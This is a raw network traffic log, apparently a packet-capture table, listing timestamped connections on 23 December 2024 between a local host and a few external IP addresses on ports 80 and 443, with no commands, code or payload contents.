Dec 23, 2024 17:16:38.490061045 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.490081072 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.490935087 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.490947008 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.490973949 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.490988970 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.491641045 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.491653919 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.491677046 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.491693020 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.492592096 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.492605925 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.492631912 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.492643118 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.493643999 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.493655920 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.493694067 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.494385958 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.494420052 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.494431973 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.494479895 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.495249987 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.495263100 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.495291948 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.495310068 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.496119976 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.496131897 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.496160030 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.496176004 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.497049093 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.497061968 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.497081041 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.497097015 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.498142958 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.498191118 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.498743057 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.498836040 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.499077082 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.499088049 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.499115944 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.499125004 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.500000000 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.500010967 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.500035048 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.500055075 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.500798941 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.500834942 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.500967026 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.501005888 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.501735926 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.501758099 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.501782894 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.501782894 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.502506018 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.502545118 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.652434111 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.652453899 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.652494907 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.652533054 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.652594090 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.652633905 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.652661085 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.652697086 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.653417110 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.653460979 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.653496027 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.653533936 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.654299021 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.654337883 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.654366016 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.654405117 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.654947996 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.654997110 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.655047894 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.655114889 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.655956984 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.656007051 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.656050920 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.656085014 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.656702995 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.656737089 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.656882048 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.656933069 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.657620907 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.657665968 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.657716036 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.657756090 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.658556938 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.658595085 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.658622026 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.658658981 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.659437895 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.659478903 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.659513950 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.659550905 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.660293102 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.660332918 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.660425901 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.660501003 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.661284924 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.661325932 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.661425114 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.661459923 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.662085056 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.662120104 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.662197113 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.662234068 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.663006067 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.663049936 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.663113117 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.663142920 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.663873911 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.663913965 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.663940907 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.663990021 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.664721966 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.664762974 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.664809942 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.664854050 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.665610075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.665646076 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.665746927 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.665781975 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.666541100 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.666584969 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.666608095 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.666640997 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.667469978 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.667517900 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.667562962 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.667602062 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.668262005 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.668303967 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.668379068 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.668417931 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.669193029 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.669234037 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.669286013 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.669326067 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.670078993 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.670119047 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.670171976 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.670208931 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.670943022 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.670984983 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.671039104 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.671082020 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.671843052 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.671883106 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.671960115 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.672013044 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.672825098 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.672837973 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.672867060 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.672883034 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.673636913 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.673674107 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.673921108 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.673962116 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.674742937 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.674783945 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.674864054 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.674901962 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.675595045 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.675606012 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.675651073 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.675678015 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.676268101 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.676315069 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.676342010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.676378965 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.677289009 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.677336931 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.677364111 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.677403927 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.678204060 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.678241968 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.678299904 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.678335905 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.678998947 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.679011106 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.679043055 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.679059029 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.679850101 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.679889917 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.679959059 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.680001020 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.680705070 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.680749893 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.680830002 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.680870056 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.681615114 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.681657076 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.681687117 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.681732893 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.682538033 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.682580948 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.682831049 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.682876110 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.683515072 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.683527946 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.683552980 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.683579922 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.684293032 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.684329987 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.684457064 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.684492111 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.685167074 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.685208082 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.685254097 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.685292006 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.686078072 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.686120987 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.686186075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.686223984 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.687066078 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.687078953 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.687103987 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.687119007 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.687860012 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.687900066 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.687941074 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.687975883 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.688889980 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.688930988 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.689167976 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.689217091 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.689830065 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.689872026 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.690098047 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.690135002 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.690774918 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.690814018 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.690861940 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.690895081 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.691493988 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.691534996 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.691665888 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.691700935 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.692308903 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.692346096 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.692464113 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.692502975 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.693176985 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.693222046 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.693275928 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.693309069 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.694112062 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.694149971 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.694159031 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.694308996 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.694906950 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.694942951 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.695039034 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.695070028 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.695818901 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.695856094 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.695983887 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.696021080 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.696722031 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.696764946 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.696850061 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.696892023 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.697647095 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.697685003 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.697755098 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.697789907 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.698556900 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.698570013 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.698594093 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.698620081 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.897203922 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.897263050 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.897294998 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.897325993 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.897624969 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.897656918 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.897777081 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.897815943 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.898354053 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.898392916 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.898454905 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.898487091 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.899164915 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.899362087 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.899513960 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.899549961 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.899682045 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.899715900 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.900415897 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.900450945 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.900510073 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.900542021 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.901293039 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.901329994 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.901357889 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.901391983 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.902156115 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.902187109 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.902348042 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.902384043 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.903022051 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.903062105 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.903119087 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.903150082 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.903978109 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.904015064 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:38.904026031 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:38.904055119 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:39.162959099 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.163104057 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.166330099 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.166338921 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.166625023 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.167907953 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.167907953 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.167979956 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.695611000 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:39.696075916 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:39.816185951 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:39.816207886 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:39.816324949 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:39.816324949 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:39.826953888 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:39.946631908 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:39.958247900 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.958359003 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.963335037 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.963372946 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.969816923 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.972491980 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.972491980 CET	49729	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:39.972512007 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:39.972520113 CET	443	49729	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:41.151691914 CET	80	49730	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:41.151818991 CET	49730	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:41.341655970 CET	443	49728	135.181.65.216	192.168.2.9
Dec 23, 2024 17:16:41.341762066 CET	49728	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:41.721260071 CET	49728	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:41.721304893 CET	443	49728	135.181.65.216	192.168.2.9
